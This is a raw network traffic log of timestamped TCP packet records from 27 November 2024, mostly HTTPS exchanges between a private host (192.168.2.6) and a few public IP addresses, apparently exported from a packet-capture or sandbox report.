Nov 27, 2024 11:14:33.430378914 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:33.430478096 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:33.430517912 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:33.430578947 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:33.438152075 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:33.438164949 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:33.438385010 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:33.438395977 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:33.438443899 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:33.438488007 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:33.440104961 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:33.440197945 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:33.455549955 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:33.455568075 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:33.455812931 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:33.456152916 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:33.458506107 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:33.488029003 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:33.488075972 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:33.488440037 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:33.488447905 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:33.488610029 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:33.501341105 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:33.501409054 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:33.503335953 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:33.503657103 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:33.503664970 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:33.503810883 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:33.503815889 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:33.503907919 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:33.503952980 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:33.517719030 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:33.517796040 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:33.519412994 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:33.519423008 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:33.519556999 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:33.519565105 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:33.519666910 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:33.519812107 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:33.531333923 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:33.616811991 CET	80	49782	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:33.616909981 CET	49782	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:33.634082079 CET	443	49791	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:33.634542942 CET	49791	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:33.634552002 CET	443	49791	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:33.635171890 CET	49791	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:33.635175943 CET	443	49791	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:33.913619041 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:33.913645983 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:33.913660049 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:33.913692951 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:33.913727999 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:33.913741112 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:33.913809061 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:33.920375109 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:33.920403004 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:33.920450926 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:33.920461893 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:33.920476913 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:33.920490026 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:33.920511961 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:33.920519114 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:33.920527935 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:33.920547009 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:33.920547009 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:33.920578957 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:33.920595884 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:33.920917034 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.005409002 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.005434036 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.005465031 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.005472898 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.005497932 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.005515099 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.005531073 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.005531073 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.005542040 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.005561113 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.078250885 CET	443	49798	23.218.208.109	192.168.2.6
Nov 27, 2024 11:14:34.078346968 CET	49798	443	192.168.2.6	23.218.208.109
Nov 27, 2024 11:14:34.078953028 CET	443	49791	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:34.079046011 CET	443	49791	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:34.079125881 CET	49791	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:34.081480980 CET	49798	443	192.168.2.6	23.218.208.109
Nov 27, 2024 11:14:34.081506014 CET	443	49798	23.218.208.109	192.168.2.6
Nov 27, 2024 11:14:34.081764936 CET	49791	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:34.081764936 CET	49791	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:34.081782103 CET	443	49791	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:34.081789017 CET	443	49798	23.218.208.109	192.168.2.6
Nov 27, 2024 11:14:34.081794977 CET	443	49791	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:34.083378077 CET	49798	443	192.168.2.6	23.218.208.109
Nov 27, 2024 11:14:34.085710049 CET	49804	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:34.085752010 CET	443	49804	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:34.085813999 CET	49804	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:34.086265087 CET	49804	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:34.086273909 CET	443	49804	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:34.098175049 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.098202944 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.098239899 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.098268032 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.098287106 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.098423958 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.107101917 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.107124090 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.107172966 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.107182980 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.107211113 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.107239962 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.108552933 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.108603954 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.108632088 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.108668089 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.108685970 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.108702898 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.115255117 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.115272999 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.115330935 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.115338087 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.115504980 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.127330065 CET	443	49798	23.218.208.109	192.168.2.6
Nov 27, 2024 11:14:34.145675898 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.145701885 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.145751953 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.145797014 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.145814896 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.145845890 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.146864891 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.146873951 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.147008896 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.147022963 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.147072077 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.147718906 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.147737980 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.147790909 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.147795916 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.147835016 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.163649082 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.163767099 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.190064907 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.190093994 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.190135002 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.190172911 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.190187931 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.190431118 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.201764107 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.201786041 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.201828957 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.201850891 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.201867104 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.201890945 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.240695000 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.240711927 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.240765095 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.240782022 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.240811110 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.240830898 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.263058901 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.263084888 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.263134003 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.263180017 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.263196945 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.263279915 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.273463011 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.273485899 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.273525953 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.273535013 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.273576021 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.284638882 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.284667969 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.284749031 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.284785032 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.284801960 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.284970045 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.292478085 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.292495966 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.292572975 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.292603970 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.292646885 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.302123070 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.302141905 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.302181005 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.302186966 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.302222967 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.302236080 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.317420959 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.317436934 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.317492008 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.317528963 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.317544937 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.317578077 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.324137926 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.324155092 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.324217081 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.324223042 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.324255943 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.325464010 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.325489044 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.325519085 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.325548887 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.325567961 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.325582981 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.327111006 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.327193975 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.327199936 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.327366114 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.335388899 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.335402966 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.335491896 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.335522890 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.335565090 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.344719887 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.344742060 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.344798088 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.344815969 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.344841957 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.344851017 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.344856977 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.344881058 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.344916105 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.344927073 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.344942093 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.344960928 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.356441021 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.356511116 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.356518030 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.356550932 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.367113113 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.367135048 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.367175102 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.367204905 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.367221117 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.367301941 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.376179934 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.376202106 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.376234055 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.376249075 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.376277924 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.376291037 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.378660917 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.378726006 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.378731966 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.378783941 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.400954962 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.401029110 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.401036978 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.401132107 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.405329943 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.405349970 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.405400038 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.405407906 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.405447006 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.405455112 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.425653934 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.425672054 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.425718069 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.425728083 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.425755024 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.425776958 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.446384907 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.446402073 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.446460962 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.446470022 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.446511984 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.451976061 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.452028990 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.452066898 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.452101946 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.452124119 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.452145100 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.459112883 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.459161997 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.459167957 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.459178925 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.459218979 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.465425014 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.465450048 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.465492964 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.465526104 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.465544939 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.465576887 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.466423035 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.466473103 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.466489077 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.466507912 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.466521978 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.466541052 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.474766016 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.474786997 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.474833965 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.474838018 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.474883080 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.479445934 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.479460955 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.479543924 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.479568958 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.479619980 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.485183954 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.485203028 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.485275984 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.485301018 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.485364914 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.487204075 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.487230062 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.487265110 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.487271070 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.487323046 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.493616104 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.493635893 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.493683100 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.493712902 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.493726015 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.494467974 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.501379967 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.501399994 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.501471996 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.501481056 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.501514912 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.501534939 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.501589060 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.501607895 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.501647949 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.501671076 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.501698971 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.501725912 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.505784988 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.505800962 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.505867958 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.505894899 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.505964994 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.515245914 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.515261889 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.515322924 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.515351057 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.515388966 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.515399933 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.515403986 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.515419006 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.515470028 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:34.515475988 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:34.515501976 CET	49795	443	192.168.2.6	150.171.27.10
